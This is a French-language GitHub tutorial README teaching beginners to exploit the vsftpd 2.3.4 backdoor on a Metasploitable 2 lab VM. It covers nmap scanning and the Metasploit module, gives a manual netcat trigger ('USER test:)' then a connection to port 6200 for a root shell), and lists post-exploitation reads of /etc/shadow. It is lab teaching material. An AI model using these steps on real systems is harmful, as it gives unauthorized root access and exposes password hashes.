Skip to content

exploit4040/exploit_vsftpd-2.3.4

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 

Repository files navigation

🎓 Cours Complet : Exploitation du Port 21 — vsftpd 2.3.4 Backdoor

Auteur : ML | GitHub : exploit4040
Laboratoire : Metasploitable 2 + VMware
Niveau : Débutant → Intermédiaire
Objectif : Comprendre la vulnérabilité vsftpd 2.3.4 de A à Z et maîtriser la méthodologie universelle d'exploitation


⚠️ Avertissement légal

Ces techniques sont uniquement légales dans un environnement isolé que tu contrôles.
Metasploitable 2 est une machine virtuelle conçue spécialement pour la pratique.
N'utilise jamais ces techniques sur des systèmes sans autorisation écrite explicite.


📑 Table des matières

  1. Les Fondamentaux
  2. La Vulnérabilité vsftpd
  3. Méthodologie d'un Pentest
  4. Pratique pas à pas
  5. Exploitation manuelle
  6. Généraliser à d'autres vulnérabilités
  7. Vocabulaire essentiel

PARTIE 1 — Les Fondamentaux

1.1 — C'est quoi un port ?

Imagine ton ordinateur comme un immeuble :

  • L'adresse IP = l'adresse de l'immeuble
  • Les ports = les portes numérotées de cet immeuble
  • Chaque porte donne accès à un service différent
Immeuble (192.168.1.100)
├── Porte 21   → FTP    (transfert de fichiers)
├── Porte 22   → SSH    (connexion sécurisée)
├── Porte 80   → HTTP   (site web)
└── Porte 3306 → MySQL  (base de données)

1.2 — C'est quoi FTP ?

FTP = File Transfer Protocol
C'est un protocole qui permet de transférer des fichiers entre un client et un serveur.

[Ton PC / Client FTP]  ←——fichiers——→  [Serveur FTP Port 21]

Fonctionnement technique :

Étape 1 : Client se connecte au serveur sur le port 21
Étape 2 : Serveur demande un nom d'utilisateur
Étape 3 : Serveur demande un mot de passe
Étape 4 : Si authentification OK → accès aux fichiers

⚠️ Problème de sécurité natif de FTP :
FTP envoie tout en clair (non chiffré) sur le réseau.
Un attaquant peut intercepter le mot de passe avec Wireshark !


1.3 — C'est quoi vsftpd ?

vsftpd = Very Secure FTP Daemon
C'est un logiciel serveur FTP très populaire sur Linux.

  • "Daemon" = programme qui tourne en arrière-plan
  • La version 2.3.4 est la version vulnérable qui nous intéresse

PARTIE 2 — La Vulnérabilité

2.1 — C'est quoi une backdoor ?

Une backdoor (porte dérobée) = un accès caché intentionnellement ou accidentellement laissé dans un logiciel.

Porte principale (authentification normale)
         ↓
   [Vérification mot de passe]
         ↓
   Accès autorisé ou refusé

Porte dérobée (backdoor)
         ↓
   [Pas de vérification]
         ↓
   Accès direct au système !

2.2 — L'histoire de la backdoor vsftpd 2.3.4

En juillet 2011, le code source de vsftpd hébergé sur le serveur officiel de distribution a été compromis par un attaquant.

Timeline :
──────────────────────────────────────────────────
Juillet 2011 → Attaquant modifie le code source
               sur le serveur de distribution

Les utilisateurs téléchargeaient la version
infectée sans le savoir !

Résultat → Backdoor présente sur tous les
           serveurs ayant installé vsftpd 2.3.4
──────────────────────────────────────────────────

🧠 C'est ce qu'on appelle une Supply Chain Attack (attaque de la chaîne d'approvisionnement).
L'attaquant ne vise pas directement la victime, mais l'outil qu'elle utilise.
Exemples célèbres : SolarWinds (2020), XZ Utils (2024).


2.3 — Comment fonctionne la backdoor techniquement ?

Condition déclenchante :
Si le nom d'utilisateur contient ":)"  ← le smiley !
         ↓
Le serveur ouvre secrètement le port 6200
         ↓
Sur ce port → un SHELL ROOT est disponible
         ↓
L'attaquant se connecte sur le port 6200
         ↓
Accès TOTAL au système en tant que ROOT !

Schéma de communication complet :

ATTAQUANT                         SERVEUR METASPLOITABLE
    |                                       |
    |──── USER motdepasse:) ──────────────>|
    |                                       |  ← Détecte le ":)"
    |                                       |  ← Ouvre le port 6200
    |                                       |  ← Lance un shell root
    |                                       |
    |──── Connexion port 6200 ────────────>|
    |                                       |
    |<════ ROOT SHELL ════════════════════|
    |                                       |
   PWNED !                           Compromis !

2.4 — C'est quoi un "Shell" ?

Un shell = une interface en ligne de commande pour contrôler un système.

Shell normal  → tu contrôles TON ordinateur
Shell distant → tu contrôles L'ORDINATEUR CIBLE
Root shell    → tu contrôles la cible avec les
                droits MAXIMUM (administrateur)

Analogie : Obtenir un root shell, c'est comme obtenir le trousseau de clés maître d'un immeuble. Tu peux ouvrir TOUTES les portes.


PARTIE 3 — Méthodologie d'un Pentest

3.1 — Les 5 phases universelles

┌─────────────────────────────────────────────────┐
│  PHASE 1 : RECONNAISSANCE                       │
│  → Qui est la cible ? Quels services ?           │
├─────────────────────────────────────────────────┤
│  PHASE 2 : SCAN & ÉNUMÉRATION                   │
│  → Quels ports sont ouverts ? Quelles versions ? │
├─────────────────────────────────────────────────┤
│  PHASE 3 : EXPLOITATION                         │
│  → Utiliser la vulnérabilité pour entrer         │
├─────────────────────────────────────────────────┤
│  PHASE 4 : POST-EXPLOITATION                    │
│  → Que faire une fois à l'intérieur ?            │
├─────────────────────────────────────────────────┤
│  PHASE 5 : RAPPORT                              │
│  → Documenter les failles trouvées               │
└─────────────────────────────────────────────────┘

🧠 Cette méthodologie s'applique à TOUTES les vulnérabilités, pas seulement vsftpd.


PARTIE 4 — Pratique Pas à Pas

4.1 — PHASE 1 & 2 : Reconnaissance et Scan

Vérifier que tu es sur le bon réseau :

# Sur ta machine Kali Linux
ip addr show
# Note ton IP, ex: 192.168.56.101

Découvrir les machines actives sur le réseau :

# Scan de découverte réseau
nmap -sn 192.168.56.0/24

# Résultat attendu :
# Host: 192.168.56.100 (metasploitable) → Up

Scan complet du port 21 :

nmap -sV -sC -p 21 192.168.56.100

# Options :
# -sV  → détecte les versions des services
# -sC  → lance les scripts de détection par défaut
# -p 21 → cible uniquement le port 21

Résultat attendu :

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed

🧠 Leçon clé : La version détectée = la clé pour trouver des vulnérabilités connues.
Toujours noter les versions exactes des services !


4.2 — Rechercher la vulnérabilité manuellement

# Chercher dans la base de données Exploit-DB
searchsploit vsftpd 2.3.4

# Résultat :
# vsftpd 2.3.4 - Backdoor Command Execution | EDB-ID: 17491

Sources de recherche professionnelles :

Source URL Usage
Exploit-DB https://exploit-db.com Base d'exploits publics
NVD NIST https://nvd.nist.gov Base CVE officielle
CVE Details https://cvedetails.com Détails des CVE
Rapid7 https://rapid7.com/db Infos Metasploit

4.3 — PHASE 3 : Exploitation avec Metasploit

C'est quoi Metasploit Framework ?

Metasploit = boîte à outils d'exploitation
├── Exploits pré-codés (centaines de modules)
├── Payloads (code envoyé à la cible)
├── Modules auxiliaires (scan, bruteforce...)
└── Interface unifiée pour tout gérer

Étape 1 — Lancer Metasploit :

msfconsole

Étape 2 — Chercher l'exploit :

msf6 > search vsftpd

# Résultat :
# 0  exploit/unix/ftp/vsftpd_234_backdoor  Excellent

Étape 3 — Charger l'exploit :

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# Le prompt change :
# msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

Étape 4 — Voir les options requises :

msf6 exploit(...) > show options

# Options importantes :
# RHOSTS → IP de la CIBLE (Remote HOST)
# RPORT  → port cible (21 par défaut)
# LHOST  → ton IP (pour le retour du shell)

Étape 5 — Configurer l'exploit :

msf6 exploit(...) > set RHOSTS 192.168.56.100
msf6 exploit(...) > show options   # vérifier la config

Étape 6 — Lancer l'exploit :

msf6 exploit(...) > run

Ce qui se passe en coulisses lors du run :

1. Metasploit se connecte au port 21 (FTP)
2. Envoie un username contenant ":)"
3. Le serveur déclenche la backdoor
4. Le port 6200 s'ouvre sur le serveur
5. Metasploit se connecte automatiquement au port 6200
6. Tu reçois un shell root !

Résultat attendu :

[*] 192.168.56.100:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.100:21 - USER: 331 Please specify password.
[+] 192.168.56.100:21 - Backdoor service has been spawned!
[+] 192.168.56.100:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened

id
uid=0(root) gid=0(root) groups=0(root)

4.4 — PHASE 4 : Post-Exploitation

Une fois root, voici ce qu'il est possible de faire dans un contexte de pentest :

# Vérifier les droits
id
# uid=0(root) → tu es root !

# Identifier le système
uname -a

# Lister les utilisateurs
cat /etc/passwd

# Récupérer les hashes de mots de passe
cat /etc/shadow

# Voir les fichiers sensibles
ls /root/
ls /home/

# Voir les connexions réseau actives
netstat -antp

# Vérifier les tâches planifiées
crontab -l
cat /etc/crontab

PARTIE 5 — Exploitation Manuelle (sans Metasploit)

🧠 Pourquoi faire ça manuellement ?
Comprendre l'exploit sans outil automatique = vraie maîtrise.
Les outils peuvent échouer, mais la compréhension reste toujours.

5.1 — Reproduire l'exploit avec Netcat

Terminal 1 — Déclencher la backdoor :

nc 192.168.56.100 21
# Connecté au serveur FTP

# Tu reçois :
# 220 (vsFTPd 2.3.4)

# Envoyer le username avec le smiley
USER test:)
# 331 Please specify the password.

PASS anypassword
# La connexion FTP échoue MAIS...
# Le port 6200 vient de s'ouvrir en arrière-plan !

Terminal 2 — Se connecter au shell backdoor :

nc 192.168.56.100 6200

# Tu reçois directement un shell root !
id
# uid=0(root) gid=0(root)

whoami
# root

Schéma complet de l'exploitation manuelle :

Terminal 1 (port 21)              Serveur
──────────────────────────────────────────
USER toto:)        ──────────>  Détecte ":)"
                               Lance /bin/sh
                               sur port 6200
PASS xxxx          ──────────>  FTP échoue
                               Mais port 6200 OUVERT !

Terminal 2 (port 6200)            Serveur
──────────────────────────────────────────
nc ... 6200        ──────────>  Connexion acceptée
                   <──────────  Shell root envoyé
id                 ──────────>
                   <──────────  uid=0(root)

PARTIE 6 — Comprendre pour Généraliser

6.1 — Le schéma universel d'exploitation

┌────────────────────────────────────────────────┐
│         MODÈLE UNIVERSEL D'EXPLOIT             │
│                                                │
│  1. IDENTIFIER  → service + version exacte    │
│          ↓                                     │
│  2. RECHERCHER  → CVE / exploits connus        │
│          ↓                                     │
│  3. COMPRENDRE  → comment fonctionne la faille │
│          ↓                                     │
│  4. CONFIGURER  → IP cible, port, options      │
│          ↓                                     │
│  5. EXÉCUTER    → lancer et obtenir l'accès    │
│          ↓                                     │
│  6. POST-EXPLOIT → explorer, documenter        │
└────────────────────────────────────────────────┘

6.2 — Types de vulnérabilités à connaître

Type Description Exemple sur Metasploitable 2
Backdoor Accès caché dans le code vsftpd 2.3.4, UnrealIRCd
Default Credentials Identifiants par défaut jamais changés MySQL root sans mdp, VNC
RCE Exécution de code à distance Samba 3.0.20, distccd
Misconfiguration Mauvaise configuration serveur NFS, Anonymous FTP
Injection Injecter du code malveillant SQLi sur DVWA
Buffer Overflow Débordement de mémoire Exploits binaires

6.3 — Appliquer le même modèle aux autres ports

Port Service Même modèle applicable ?
445 Samba 3.0.20 exploit/multi/samba/usermap_script
6667 UnrealIRCd exploit/unix/irc/unreal_ircd_3281_backdoor
8180 Tomcat ✅ Credentials par défaut → upload war
3306 MySQL ✅ Connexion root sans mot de passe
1524 Bindshell nc cible 1524 → root direct

Glossaire

Terme Définition
CVE Common Vulnerabilities and Exposures — identifiant unique d'une vulnérabilité
CVSS Score de sévérité de 0 à 10 (10 = critique)
Payload Code envoyé à la cible lors de l'exploitation
Shell Interface de commande sur le système cible
Root Shell Shell avec droits administrateur maximum
Reverse Shell La CIBLE se connecte à NOUS
Bind Shell NOUS nous connectons à la CIBLE
Privilege Escalation Technique pour passer de user à root
Daemon Programme tournant en arrière-plan sur Linux
Supply Chain Attack Attaque via un logiciel utilisé par la victime
Enumeration Phase de collecte d'informations sur la cible
CVE-2011-2523 L'identifiant officiel de la backdoor vsftpd 2.3.4

Récapitulatif

✅ Comprendre les ports et le protocole FTP
✅ L'histoire et l'origine de la backdoor vsftpd 2.3.4
✅ Le mécanisme technique de la backdoor (smiley → port 6200)
✅ La méthodologie complète en 5 phases d'un pentest
✅ Scanner avec Nmap et interpréter les résultats
✅ Exploiter avec Metasploit Framework
✅ Reproduire l'exploit manuellement avec Netcat
✅ Post-exploitation de base
✅ Le modèle universel applicable à TOUTES les vulnérabilités

Prochaines étapes suggérées

  1. ✅ Maîtriser vsftpd 2.3.4 (ce cours)
  2. 🔜 Port 445 — Samba usermap_script (RCE root)
  3. 🔜 Port 6667 — UnrealIRCd Backdoor
  4. 🔜 Port 3306 — MySQL sans mot de passe
  5. 🔜 Port 80 — DVWA (SQLi, XSS, LFI...)
  6. 🔜 Port 8180 — Apache Tomcat Manager RCE

Auteur : ML
GitHub : exploit4040
Laboratoire : Metasploitable 2 — VMware
Document à usage éducatif uniquement dans un environnement de lab isolé.

About

exploit_vsftpd

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors